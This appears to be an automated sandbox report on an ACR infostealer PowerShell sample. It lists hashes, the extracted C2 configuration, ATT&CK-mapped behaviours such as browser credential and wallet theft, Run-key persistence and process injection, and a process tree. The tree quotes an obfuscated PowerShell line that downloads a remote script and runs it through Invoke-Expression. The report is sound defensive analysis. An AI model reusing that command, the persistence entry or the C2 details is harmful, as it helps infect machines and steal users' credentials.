acrstealer | 8ebe078141da5fa2e246e82cdc1335391b74758181500d2314248fb0cf7ca9f7

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/09/2026, 18:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
20d37Eb6-6b-7.ps1
Size 79KB
Sample260925-w6wn2stemf
SHA256 8ebe078141da5fa2e246e82cdc1335391b74758181500d2314248fb0cf7ca9f7
MD5 da22c9712b9202bd919687d49bcf2f78
SHA1 8099d70da6d7bb9f66cdcfdf751b5abd7a117657
SHA512 92df489bc73bb0606127874017d6ba80463d0b04c0ed4a012cf3ae995aa7db6a81184fe7628f7e47e8a5ecdf9ff9aa3206508121c4f98700929785d81b077550
SSDEEP 1536:njpiYzbWMH2o5aH1VEmPiqAT6qpB6nQ1LxAZrnqL1dvPB/G:nliuWMHD5aH1VeqAeqf6nU1AhWJu
TLSH
T17F835F017E8096F0155EECB36F8A689A2FC8B033E39A4C6C7ACF4594FB476B94594D34
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.4.2-alpha1

media.hazelnook.cc

Decoy

fastly.net

Attributes

ddrs
https://telegra.ph/C-Introduction-08-21
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd84c-02e7-7a67-9097-4f73d632de4a
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 2656 created 3348	2656	rundll32.exe	56
PID 2656 created 3348	2656	rundll32.exe	56
PID 2656 created 3348	2656	rundll32.exe	56

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	4152	powershell.exe
50	2656	rundll32.exe
51	2656	rundll32.exe
218	2656	rundll32.exe
219	2656	rundll32.exe
220	2656	rundll32.exe
221	2656	rundll32.exe
225	4048	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1780	AutoIt3.exe
4464	AutoIt3.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_11E9365CAE7D306ED3CD56E1B0DA0488 = "\"C:\\Users\\Admin\\AppData\\Roaming\\fb2ea36e4f97\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\fb2ea36e4f97\\Fabrics.a3x\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4152	powershell.exe
1332	powershell.exe
4048	powershell.exe

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AutoIt3.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1172	chrome.exe
3740	msedge.exe

Checks processor information in registry 2 TTPs 16 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-895009113-1202185046-1686627690-1000\{7A1085B8-874C-4C21-84F2-B08DFB2BA448}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1332	powershell.exe
1332	powershell.exe
1332	powershell.exe
4152	powershell.exe
4152	powershell.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
2656	rundll32.exe
2656	rundll32.exe
2656	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe
3244	msedge.exe

Suspicious use of AdjustPrivilegeToken 29 IoCs

description	pid	Process
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeShutdownPrivilege	3704	chrome.exe
Token: SeCreatePagefilePrivilege	3704	chrome.exe
Token: SeDebugPrivilege	4048	powershell.exe

Suspicious use of FindShellTrayWindow 43 IoCs

pid	Process
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3704	chrome.exe
3244	msedge.exe
3244	msedge.exe
5664	firefox.exe
1780	AutoIt3.exe
1780	AutoIt3.exe
1780	AutoIt3.exe
4464	AutoIt3.exe
4464	AutoIt3.exe
4464	AutoIt3.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
1780	AutoIt3.exe
1780	AutoIt3.exe
1780	AutoIt3.exe
4464	AutoIt3.exe
4464	AutoIt3.exe
4464	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 3960	1332	powershell.exe	88
PID 3960 wrote to memory of 1316	3960	csc.exe	89
PID 1332 wrote to memory of 4168	1332	powershell.exe	91
PID 4168 wrote to memory of 1876	4168	csc.exe	92
PID 1332 wrote to memory of 4152	1332	powershell.exe	93
PID 4152 wrote to memory of 4020	4152	powershell.exe	113
PID 4020 wrote to memory of 2500	4020	csc.exe	114
PID 4152 wrote to memory of 2656	4152	powershell.exe	115
PID 4152 wrote to memory of 2656	4152	powershell.exe	115
PID 2656 wrote to memory of 3704	2656	rundll32.exe	116
PID 3704 wrote to memory of 1996	3704	chrome.exe	117
PID 3704 wrote to memory of 1012	3704	chrome.exe	118
PID 3704 wrote to memory of 1012	3704	chrome.exe	118
PID 3704 wrote to memory of 1172	3704	chrome.exe	119
PID 3704 wrote to memory of 5036	3704	chrome.exe	120
PID 3704 wrote to memory of 5036	3704	chrome.exe	120
PID 3704 wrote to memory of 3336	3704	chrome.exe	122
PID 3704 wrote to memory of 5020	3704	chrome.exe	123
PID 3704 wrote to memory of 3336	3704	chrome.exe	122
PID 3704 wrote to memory of 5020	3704	chrome.exe	123
PID 3704 wrote to memory of 4400	3704	chrome.exe	124
PID 3704 wrote to memory of 4400	3704	chrome.exe	124
PID 3704 wrote to memory of 4380	3704	chrome.exe	125
PID 2656 wrote to memory of 3244	2656	rundll32.exe	127
PID 3244 wrote to memory of 1808	3244	msedge.exe	128
PID 3244 wrote to memory of 856	3244	msedge.exe	129
PID 3244 wrote to memory of 3740	3244	msedge.exe	130
PID 3244 wrote to memory of 856	3244	msedge.exe	129
PID 3244 wrote to memory of 856	3244	msedge.exe	129
PID 3244 wrote to memory of 3552	3244	msedge.exe	131
PID 3244 wrote to memory of 3552	3244	msedge.exe	131
PID 3244 wrote to memory of 4668	3244	msedge.exe	133
PID 3244 wrote to memory of 4668	3244	msedge.exe	133
PID 3244 wrote to memory of 4668	3244	msedge.exe	133
PID 3244 wrote to memory of 3896	3244	msedge.exe	134
PID 3244 wrote to memory of 3896	3244	msedge.exe	134
PID 3244 wrote to memory of 3896	3244	msedge.exe	134
PID 3244 wrote to memory of 1512	3244	msedge.exe	135
PID 3244 wrote to memory of 1512	3244	msedge.exe	135
PID 3244 wrote to memory of 1512	3244	msedge.exe	135
PID 3244 wrote to memory of 5052	3244	msedge.exe	136
PID 3244 wrote to memory of 5052	3244	msedge.exe	136
PID 3244 wrote to memory of 5052	3244	msedge.exe	136
PID 3244 wrote to memory of 5660	3244	msedge.exe	138
PID 3244 wrote to memory of 5660	3244	msedge.exe	138
PID 3244 wrote to memory of 6116	3244	msedge.exe	140
PID 3244 wrote to memory of 6116	3244	msedge.exe	140
PID 3244 wrote to memory of 5528	3244	msedge.exe	141
PID 3244 wrote to memory of 5528	3244	msedge.exe	141
PID 3244 wrote to memory of 5540	3244	msedge.exe	142
PID 3244 wrote to memory of 5540	3244	msedge.exe	142
PID 3244 wrote to memory of 5388	3244	msedge.exe	146
PID 3244 wrote to memory of 5836	3244	msedge.exe	147
PID 3244 wrote to memory of 5836	3244	msedge.exe	147
PID 3244 wrote to memory of 5900	3244	msedge.exe	148
PID 3244 wrote to memory of 5900	3244	msedge.exe	148
PID 3244 wrote to memory of 2808	3244	msedge.exe	149
PID 3244 wrote to memory of 2808	3244	msedge.exe	149
PID 3244 wrote to memory of 5024	3244	msedge.exe	150
PID 3244 wrote to memory of 5024	3244	msedge.exe	150
PID 3244 wrote to memory of 5096	3244	msedge.exe	151
PID 3244 wrote to memory of 5096	3244	msedge.exe	151
PID 2172 wrote to memory of 5664	2172	firefox.exe	154
PID 2172 wrote to memory of 5664	2172	firefox.exe	154

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\20d37Eb6-6b-7.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cylfq1j0\cylfq1j0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7598.tmp" "c:\Users\Admin\AppData\Local\Temp\cylfq1j0\CSC88339AA16BA14D2F928395F3DD988A0.TMP"
      4⤵
      PID:1316
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a41vp3og\a41vp3og.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4168
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7664.tmp" "c:\Users\Admin\AppData\Local\Temp\a41vp3og\CSCE5D527F4745C4AA6B173A5A95862C91D.TMP"
      4⤵
      PID:1876
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$ProgressPreference='SilentlyContinue';$t='Net.WebClient';$m='DownloadString';$w=New-Object $t;$w.$m('https://viewable.top/install.ps1') | & (gcm i*x)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\amdeo4xz.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4020
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4329.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDE72099DAE9A49988BE0C2FE4E12F23E.TMP"
        5⤵
        
        PID:2500
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2656
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\u3k0kcnO9AVwJcTn\u3k0kcjtGGuOOgAm.ps1"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:4048
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sqort5jk\sqort5jk.cmdline"
        6⤵
        
        PID:5460
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFC48.tmp" "c:\Users\Admin\AppData\Local\Temp\sqort5jk\CSCCC661460FF884F0A8B744077BF78455.TMP"
        7⤵
        
        PID:2844
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\swoqbd4a\swoqbd4a.cmdline"
        6⤵
        
        PID:6060
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFDBF.tmp" "c:\Users\Admin\AppData\Local\Temp\swoqbd4a\CSCE13BDD412E094A73B69F22CDDFFFB69D.TMP"
        7⤵
        
        PID:4604
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbb7e2c728,0x7ffbb7e2c734,0x7ffbb7e2c740
    3⤵
    PID:1996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1684,i,10089011051969168233,1909882838734413601,262144 --field-trial-handle=2020,i,9234367484656383116,356835453241180423,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2016 /prefetch:2
    3⤵
    PID:1012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,16371363702952513937,14898886116875885157,524288 --field-trial-handle=2020,i,9234367484656383116,356835453241180423,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2288 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2392,i,17746228333893660737,17189212445688443767,524288 --field-trial-handle=2020,i,9234367484656383116,356835453241180423,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2296 /prefetch:8
    3⤵
    PID:5036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,2186815019830026098,777307657906369230,2097152 --field-trial-handle=2020,i,9234367484656383116,356835453241180423,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3216 /prefetch:1
    3⤵
    PID:3336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3236,i,5418302713939547997,50455248781904598,2097152 --field-trial-handle=2020,i,9234367484656383116,356835453241180423,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3248 /prefetch:1
    3⤵
    PID:5020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4344,i,13763835969127259109,10077297316854290507,2097152 --field-trial-handle=2020,i,9234367484656383116,356835453241180423,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4432 /prefetch:1
    3⤵
    PID:4400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5224,i,10686746135132499139,2040587232739367754,524288 --field-trial-handle=2020,i,9234367484656383116,356835453241180423,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5228 /prefetch:8
    3⤵
    PID:4380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ffbb37cc188,0x7ffbb37cc194,0x7ffbb37cc1a0
    3⤵
    PID:1808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
